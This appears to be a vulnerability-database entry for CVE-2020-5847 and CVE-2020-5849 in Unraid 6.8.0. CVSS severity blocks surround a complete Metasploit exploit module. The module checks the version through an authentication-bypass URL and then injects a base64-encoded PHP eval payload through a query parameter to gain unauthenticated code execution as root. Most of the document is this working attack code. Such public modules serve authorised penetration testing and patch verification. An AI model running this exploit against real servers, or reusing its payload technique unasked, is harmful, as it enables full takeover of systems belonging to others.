CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%
This module exploits two vulnerabilities affecting Unraid 6.8.0. An authentication bypass is used to gain access to the administrative interface, and an insecure use of the extract PHP function can be abused for arbitrary code execution as root.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unraid 6.8.0 Auth Bypass PHP Code Execution',
'Description' => %q{
This module exploits two vulnerabilities affecting Unraid 6.8.0.
An authentication bypass is used to gain access to the administrative
interface, and an insecure use of the extract PHP function can be abused
for arbitrary code execution as root.
},
'Author' => [
'Nicolas CHATELAIN <[email protected]>'
],
'References' => [
[ 'CVE', '2020-5847' ],
[ 'CVE', '2020-5849' ],
[ 'URL', 'https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/' ],
[ 'URL', 'https://forums.unraid.net/topic/88253-critical-security-vulnerabilies-discovered/' ]
],
'License' => MSF_LICENSE,
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-02-10',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the Unraid application', '/'])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET'
)
unless res
return CheckCode::Unknown('Connection failed')
end
unless res.code == 200
return CheckCode::Safe('Unexpected reply')
end
/\sVersion:\s(?<version>\d{1,2}\.\d{1,2}\.\d{1,2}) / =~ res.body
if version && Rex::Version.new(version) == Rex::Version.new('6.8.0')
return CheckCode::Appears("Unraid version #{version} appears to be vulnerable")
end
CheckCode::Safe
end
def exploit
vprint_status('Sending exploit code')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'webGui/images/green-on.png/'),
'method' => 'GET',
'encode_params' => false,
'vars_get' =>
{
'path' => 'x',
'site[x][text]' => Rex::Text.uri_encode("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", 'hex-normal')
}
)
if res.nil?
print_good('Request timed out, OK if running a non-forking/blocking payload...')
elsif res.code == 302
fail_with(Failure::NotVulnerable, 'Redirected, target is not vulnerable.')
else
print_warning("Unexpected response code #{res.code}, please check your payload.")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.8%